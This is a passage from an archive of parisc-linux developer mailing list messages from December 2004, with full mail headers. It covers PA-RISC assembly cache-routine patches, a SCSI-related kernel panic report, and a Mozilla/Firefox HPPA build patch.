 > -    stw        %r0, 44(%r28)
 > -    stw        %r0, 48(%r28)
 > -    stw        %r0, 52(%r28)
 > -    stw        %r0, 56(%r28)
 > -    stw        %r0, 60(%r28)
 > -    ADDIB>        -1, %r1, 1b
 > -    ldo        64(%r28), %r28
 > -#endif    /* __LP64 */
 > +    ldo        INCR(%r28), %r28
 >
 >      bv        %r0(%r2)
 >      nop
 > =========> arch_parisc_kernel_pacache.S.diff4 <=========
this was definitely rejected:

Grant Grundler wrote:
 > On Sat, Dec 18, 2004 at 07:38:21PM +0000, Joel Soete wrote:
 >
 >>Grant,
 >>
 >>still some more thought (and btw additional questions)
 >>
 >>As we choose to keep the same number of insn in this loop, I was looking
 >>for something like:
 >>#ifdef __LP64__
 >>#define STR	std
 >>#else
 >>#define STR	stw
 >>#endif
 >>
 >>but figure out that already exist and so why not using addtional
 >>displacement #define and re-write loop like:
 >>--- arch/parisc/kernel/pacache.S.New	2004-12-18 15:39:11.000000000 +0100
 >>+++ arch/parisc/kernel/pacache.S	2004-12-18 19:19:53.862854692 +0100
 >>@@ -288,6 +288,49 @@
 >>
 >> 	.procend
 >>
 >>+#ifdef __LP64__
 >>+	/* PREFETCH (Write) has not (yet) been proven to help here */
 >>+/* #	define	PREFETCHW_OP	ldd		256(%0), %r0 */
 >>+
 >>+#define INCR	128	/* Loop's INCRement */
 >>+#define LN	32	/* Loop's Number i.e. /* PAGE_SIZE/INCR == 32 */
 >>+#define D0	0	/* 1st insn displacement */
 >>+#define D1	8	/* 2d insn displacement */
 >
 > ...
 >
 >
 > Sorry - definitely not. That just obscures whats going on.
 >
 > grant
 >

So will have to rewrite this one too
 >
 > mmm but copy_user_page_asm has the same structure and so why not using
 > the same schema:
 > --- arch/parisc/kernel/pacache.S.New1    2004-12-18 19:21:25.503229430
 > +0100
 > +++ arch/parisc/kernel/pacache.S    2004-12-18 19:43:33.184799992 +0100
 > @@ -338,7 +338,7 @@
 >      .callinfo NO_CALLS
 >      .entry
 >
 > -    ldi        64, %r1
 > +    ldi        LN, %r1
 >
 >      /*
 >       * This loop is optimized for PCXL/PCXL2 ldw/ldw and stw/stw
 > @@ -349,43 +349,41 @@
 >       * use ldd/std on a 32 bit kernel.
 >       */
 >
 > -
 > -1:
 > -    ldw        0(%r25), %r19
 > -    ldw        4(%r25), %r20
 > -    ldw        8(%r25), %r21
 > -    ldw        12(%r25), %r22
 > -    stw        %r19, 0(%r26)
 > -    stw        %r20, 4(%r26)
 > -    stw        %r21, 8(%r26)
 > -    stw        %r22, 12(%r26)
 > -    ldw        16(%r25), %r19
 > -    ldw        20(%r25), %r20
 > -    ldw        24(%r25), %r21
 > -    ldw        28(%r25), %r22
 > -    stw        %r19, 16(%r26)
 > -    stw        %r20, 20(%r26)
 > -    stw        %r21, 24(%r26)
 > -    stw        %r22, 28(%r26)
 > -    ldw        32(%r25), %r19
 > -    ldw        36(%r25), %r20
 > -    ldw        40(%r25), %r21
 > -    ldw        44(%r25), %r22
 > -    stw        %r19, 32(%r26)
 > -    stw        %r20, 36(%r26)
 > -    stw        %r21, 40(%r26)
 > -    stw        %r22, 44(%r26)
 > -    ldw        48(%r25), %r19
 > -    ldw        52(%r25), %r20
 > -    ldw        56(%r25), %r21
 > -    ldw        60(%r25), %r22
 > -    stw        %r19, 48(%r26)
 > -    stw        %r20, 52(%r26)
 > -    stw        %r21, 56(%r26)
 > -    stw        %r22, 60(%r26)
 > -    ldo        64(%r26), %r26
 > +1:    LDREG        D0(%r25), %r19
 > +    LDREG        D1(%r25), %r20
 > +    LDREG        D2(%r25), %r21
 > +    LDREG        D3(%r25), %r22
 > +    STREG        %r19, D0(%r26)
 > +    STREG        %r20, D1(%r26)
 > +    STREG        %r21, D2(%r26)
 > +    STREG        %r22, D3(%r26)
 > +    LDREG        D4(%r25), %r19
 > +    LDREG        D5(%r25), %r20
 > +    LDREG        D6(%r25), %r21
 > +    LDREG        D7(%r25), %r22
 > +    STREG        %r19, D4(%r26)
 > +    STREG        %r20, D5(%r26)
 > +    STREG        %r21, D6(%r26)
 > +    STREG        %r22, D7(%r26)
 > +    LDREG        D8(%r25), %r19
 > +    LDREG        D9(%r25), %r20
 > +    LDREG        D10(%r25), %r21
 > +    LDREG        D11(%r25), %r22
 > +    STREG        %r19, D8(%r26)
 > +    STREG        %r20, D9(%r26)
 > +    STREG        %r21, D10(%r26)
 > +    STREG        %r22, D11(%r26)
 > +    LDREG        D12(%r25), %r19
 > +    LDREG        D13(%r25), %r20
 > +    LDREG        D14(%r25), %r21
 > +    LDREG        D15(%r25), %r22
 > +    STREG        %r19, D12(%r26)
 > +    STREG        %r20, D13(%r26)
 > +    STREG        %r21, D14(%r26)
 > +    STREG        %r22, D15(%r26)
 > +    ldo        INCR(%r26), %r26
 >      ADDIB>        -1, %r1, 1b
 > -    ldo        64(%r25), %r25
 > +    ldo        INCR(%r25), %r25
 >
 >      bv        %r0(%r2)
 >      nop
 > =========> arch_parisc_kernel_pacache.S.diff5 <=========
 >
 > And finaly why didn't we have to purge related dtlb entries as we did
 > (see #if 0 below) and we do in clear_user_page_asm:
 > --- arch/parisc/kernel/pacache.S.New2    2004-12-18 19:44:46.684937345
 > +0100
 > +++ arch/parisc/kernel/pacache.S    2004-12-18 20:19:51.113544409 +0100
 > @@ -338,6 +338,11 @@
 >      .callinfo NO_CALLS
 >      .entry
 >
 > +    /* Purge any old translations */
 > +
 > +    pdtlb        0(%r25)
 > +    pdtlb        0(%r26)
 > +
 >      ldi        LN, %r1
 >
 >      /*
 > =========> arch_parisc_kernel_pacache.S.diff6 <=========
 >
But what's about this one?

What you opinion?

Thanks,
	Joel

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: lstrncpy_from_user() additional question [Was: [parisc-linux] test
	case for pa_memset() ;-)]
Date: Sun, 19 Dec 2004 20:34:34 +0000
Lines: 36
Approved: news@gmane.org
Message-ID: <41C5E5DA.8000906@tiscali.be>
References: <418A80250001032B@mail-2-bnl.tiscali.it>
	<20041216163417.GL29171@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623628 12037 80.91.229.3 (22 Nov 2014 02:33:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Dec 2004 20:37:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx007) with SMTP; 19 Dec 2004 21:37:05 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 57C203BE66; Sun, 19 Dec 2004 13:36:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14563-02; Sun, 19 Dec 2004 13:36:52 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DFAF83BE6C; Sun, 19 Dec 2004 13:35:05 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1F13A3BE6A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Dec 2004 13:35:01 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14445-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Dec 2004 13:35:00 -0700 (MST)
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by free.linux.hp.com (Postfix) with ESMTP id BFF243BE6B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Dec 2004 13:34:36 -0700 (MST)
Original-Received: from [83.134.224.95] (helo=[83.134.224.95])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1Cg7lD-0008Bw-JI; Sun, 19 Dec 2004 21:34:35 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.3) Gecko/20041007 Debian/1.7.3-5
X-Accept-Language: en
In-Reply-To: <20041216163417.GL29171@tausq.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22217

Randolph,

I would like to get your opinion about the idea to re-write this lstrncpy_from_user() in c as you did with pa_memcpy() (may be 
easiest to maintain?)

Thanks,
	Joel


Randolph Chung wrote:
>>Any interest?
>>
>>This tmset3.c is a very draft and all advise will be welcome :-)
> 
> 
> Joel, i didn't notice earlier that you were working on memset.... i
> don't think you'll see much improvement over our current implementation.
> memcpy was a target for optimization because it used to copy
> *one-byte-at-a-time*, but our memset already knows about byte boundaries
> and tries to write more at a time when possible. i suspect you are
> seeing slower results with your implementation because of increased code
> size and branch hits. you're unlikely to see much improvement compared
> to the current version unless you either unroll the loop or do some more
> clever instruction scheduling.
> 
> the three routines in arch/parisc/lib/lusercopy.S are probably better
> targets for optimization because they are all doing one-byte-at-a-time
> operations, so there is more room for improvement.
> 
> randolph
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.10-rc2-pa2 build failing
Date: Sun, 19 Dec 2004 21:14:04 +0000
Lines: 77
Approved: news@gmane.org
Message-ID: <41C5EF1C.9030401@tiscali.be>
References: <Pine.LNX.4.58.0412031551120.3169@rray.drdc.mstc.ms.gov>
	<20041204190201.GC30126@colo.lackof.org>
	<Pine.LNX.4.58.0412060817380.21506@rray.drdc.mstc.ms.gov>
	<20041210192835.GF6653@colo.lackof.org>
	<41BADB3C.8000602@tiscali.be> <41BAE2D5.4010201@tiscali.be>
	<20041213044153.GD27199@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623628 12040 80.91.229.3 (22 Nov 2014 02:33:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:48 +0000 (UTC)
Cc: rray@tcmail.mstc.state.ms.us,
 parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Dec 2004 21:15:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx023) with SMTP; 19 Dec 2004 22:15:55 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C7F3D3BE63; Sun, 19 Dec 2004 14:15:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14563-07; Sun, 19 Dec 2004 14:15:51 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 971A83BE6F; Sun, 19 Dec 2004 14:14:15 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A26373BE6A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Dec 2004 14:14:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14489-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Dec 2004 14:14:07 -0700 (MST)
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by free.linux.hp.com (Postfix) with ESMTP id 731F63BE63
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Dec 2004 14:14:07 -0700 (MST)
Original-Received: from [83.134.224.95] (helo=[83.134.224.95])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1Cg8NR-0003PL-Q1; Sun, 19 Dec 2004 22:14:06 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.3) Gecko/20041007 Debian/1.7.3-5
X-Accept-Language: en
In-Reply-To: <20041213044153.GD27199@parcelfarce.linux.theplanet.co.uk>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22218

Hi all,

I just experiment the same pb on my c110:
EXT3-fs: mounted filesystem with ordered data mode.
Disabled Privacy Extensions on device 103ab688(lo)
eth0: link ok.
Backtrace:
  [<10262e70>] ncr_reset_bus+0x50/0x110
  [<10267094>] ncr53c8xx_bus_reset+0x30/0x7c
  [<1025988c>] scsi_try_bus_reset+0x5c/0xd0
  [<10259a3c>] scsi_eh_bus_reset+0x6c/0x118
  [<1025a02c>] scsi_eh_ready_devs+0x64/0x9c
  [<1025a1a8>] scsi_unjam_host+0x7c/0xc0
  [<1025a2a4>] scsi_error_handler+0xb8/0x100
  [<1010bc5c>] ret_from_kernel_thread+0x1c/0x24
High Priority Machine Check (HPMC): Code=1 regs=1038e080 (Addr=00000000)

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111001100001110 Not tainted
r00-03  00000000 103ac010 10262b44 0000000f
r04-07  2ff3c000 00000000 00000002 103ac010
r08-11  00000000 2ff38110 b5a95f80 1044bb00
r12-15  2fe7d278 00000000 1039d010 1044b810
r16-19  f00010f4 f00000ac f00000a4 f3f8c80e
r20-23  00000001 0000000f 0000000e 00000031
r24-27  00000002 f3f8c800 38200002 1038b010
r28-31  00002003 7b958900 2ff38380 1025988c
sr0-3   00000000 00000000 00000000 00000003
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10262c80 10262c84
  IIR: 37340018    ISR: 00000000  IOR: f3f8c80c
  CPU:        0   CR30: 2ff38000 CR31: 103e4000
  ORIG_R28: 00000000
  IAOQ[0]: ncr_reset_scsi_bus+0x190/0x2f8
  IAOQ[1]: ncr_reset_scsi_bus+0x194/0x2f8
  RP(r2): ncr_reset_scsi_bus+0x54/0x2f8
Kernel panic - not syncing: High Priority Machine Check (HPMC)
  <0>Rebooting in 120 seconds..

with:
# uname -a
Linux hpalin 2.6.10-rc3-pa8-c110 #2 Sat Dec 18 19:00:49 CET 2004 parisc GNU/Linx

fwiw: this same kernel was booting fine yesterday evening and as well after this panic???

Any idea?

Joel

Matthew Wilcox wrote:
> On Sat, Dec 11, 2004 at 12:06:45PM +0000, Joel Soete wrote:
> 
>>>A K200 iirc?
>>
>>Sorry for auto-reply but I go back to your previous mail and compare your 
>>config file with mine and noticed some details:
>>
>>1) may be you need hppb bus option ON; the diff shows me:
>>--- k200-hp-debian-1_config	2004-12-11 12:38:46.307780990 +0100
>>+++ config-2.6.10-rc3-pa5	2004-12-11 12:36:59.434552100 +0100
>>[...]
>>-# CONFIG_HPPB is not set
>>+CONFIG_HPPB=y
> 
> 
> Shouldn't make any difference; the ncr720 is on the GSC bus.
> http://www.openpa.net/systems/hawk.html shows the K class does have HPPB
> slots, so I would suggest that you both have the HPPB option set wrongly;
> there is no HPPB on the C class workstations, but there is for K class.
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Firefox/Mozilla patches
Date: Fri, 24 Dec 2004 14:15:45 +0100
Lines: 93
Approved: news@gmane.org
Message-ID: <20041224141545.3ed7b450.gmsoft@gentoo.org>
References: <200412172238.iBHMc3sL017678@hiauly1.hia.nrc.ca>
	<Pine.GSO.4.58.0412180034280.1196@panter.stud.ntnu.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1871957438=="
X-Trace: ger.gmane.org 1416623628 12041 80.91.229.3 (22 Nov 2014 02:33:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Dec 2004 13:18:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx027) with SMTP; 24 Dec 2004 14:18:13 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A408B3BE51; Fri, 24 Dec 2004 06:17:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10301-01; Fri, 24 Dec 2004 06:17:07 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 849F53BE4F; Fri, 24 Dec 2004 06:16:12 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C6B413BE4B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Dec 2004 06:16:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 09306-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Dec 2004 06:16:06 -0700 (MST)
Original-Received: from deimos.codenet.be (deimos1.codenet.be [212.88.224.198])
	by free.linux.hp.com (Postfix) with ESMTP id 840B53BE2E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Dec 2004 06:16:05 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP id 04B512CE28
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Dec 2004 14:16:03 +0100 (CET)
Original-Received: from playa.lln.tuxicoman.be (user-212-88-229-185.tvcablenet.be
	[212.88.229.185])
	by deimos.codenet.be (Postfix) with ESMTP id AF7352CE49
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Dec 2004 14:16:02 +0100 (CET)
Original-Received: from gmsoft.lln.tuxicoman.be ([2001:6f8:204:aa20:210:a7ff:fe10:1a3e]
	helo=localhost)
	by playa.lln.tuxicoman.be with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.42) id 1ChpIY-0002f6-4U
	for parisc-linux@lists.parisc-linux.org; Fri, 24 Dec 2004 14:16:02 +0100
In-Reply-To: <Pine.GSO.4.58.0412180034280.1196@panter.stud.ntnu.no>
X-Mailer: Sylpheed version 0.9.99 (GTK+ 1.2.10; i686-pc-linux-gnu)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22219

--===============1871957438==
Content-Type: multipart/signed; protocol="application/pgp-signature";
	micalg="pgp-sha1";
	boundary="Signature=_Fri__24_Dec_2004_14_15_45_+0100_YfSYOxaEcZ8yq9bJ"

--Signature=_Fri__24_Dec_2004_14_15_45_+0100_YfSYOxaEcZ8yq9bJ
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 7bit

Hi,

Your patch works great. I've put it into Gentoo and we now have mozilla
and firefox working ! Thanks.

However, your Makefile have a little error. On box running 64bit kernel,
OS_TEST will be parisc64 and the Makefile will use the unsuported stuff.

Maybe you should replace 
ifeq ($(OS_TEST), parisc)
by this :
ifneq (,$(filter parisc parisc64,$(OS_TEST)))

hth,


On Sat, 18 Dec 2004 00:58:40 +0100 (MET)
Ivar <orskaug@stud.ntnu.no> wrote:

> Please note that this patch is VERY preliminary - thus, any feedbak is
> welcome,
> 
> 
> diff -N -u ./mozilla/xpcom/reflect/xptcall/src/md/unix/Makefile.in
> /home/user/mozilla/xpcom/reflect/xptcall/src/md/unix/Makefile.in---
> ./mozilla/xpcom/reflect/xptcall/src/md/unix/Makefile.in	2004-04-22 22:50:05.000000000 +0200+++
> /home/user/mozilla/xpcom/reflect/xptcall/src/md/unix/Makefile.in	2004-12-18 00:00:29.807917680 +0100@@ -167,6 +167,19 @@
>  endif
>  endif
> 
> +#
> +# Linux/HPPA/GCC
> +#
> +ifeq ($(OS_ARCH),Linux)
> +ifeq ($(OS_TEST), parisc)
> +ifeq ($(CC),gcc)
> +CPPSRCS		:= xptcinvoke_pa32.cpp xptcstubs_pa32.cpp
> +ASFILES		:= xptcstubs_asm_parisc_linux.s
> xptcinvoke_asm_parisc_linux.s
> +endif
> +endif
> +endif
> +
> +
>  ####################################################################
>  ###
>  # M68k
>  ####################################################################
>  ###


-- 
Guy Martin
Gentoo Linux - HPPA port Lead / IPv6 team
Lug Charleroi (Belgium)

--Signature=_Fri__24_Dec_2004_14_15_45_+0100_YfSYOxaEcZ8yq9bJ
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)

iD8DBQFBzBaMrpShrnoH4YYRAigMAJ4yeeyPKQC+WgF+Gx0S2Q2HT30pWACaAj30
G6Q4dXSuE74w0aweLo1E3Go=
=U1YP
-----END PGP SIGNATURE-----

--Signature=_Fri__24_Dec_2004_14_15_45_+0100_YfSYOxaEcZ8yq9bJ--


--===============1871957438==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1871957438==--



From - Thu Nov 08 21:32:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] _syscall0() and gettid()
Date: Sat, 25 Dec 2004 02:17:28 -0500
Organization: wh0rd.org
Lines: 25
Approved: news@gmane.org
Message-ID: <200412250217.28635.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623629 12044 80.91.229.3 (22 Nov 2014 02:33:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Dec 2004 07:18:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx035) with SMTP; 25 Dec 2004 08:18:08 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B69093BE51; Sat, 25 Dec 2004 00:17:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19501-04; Sat, 25 Dec 2004 00:17:54 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 709603BE56; Sat, 25 Dec 2004 00:17:37 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B27D33BE4F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Dec 2004 00:17:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 19501-01 for <parisc-linux@lists.parisc-linux.org>;
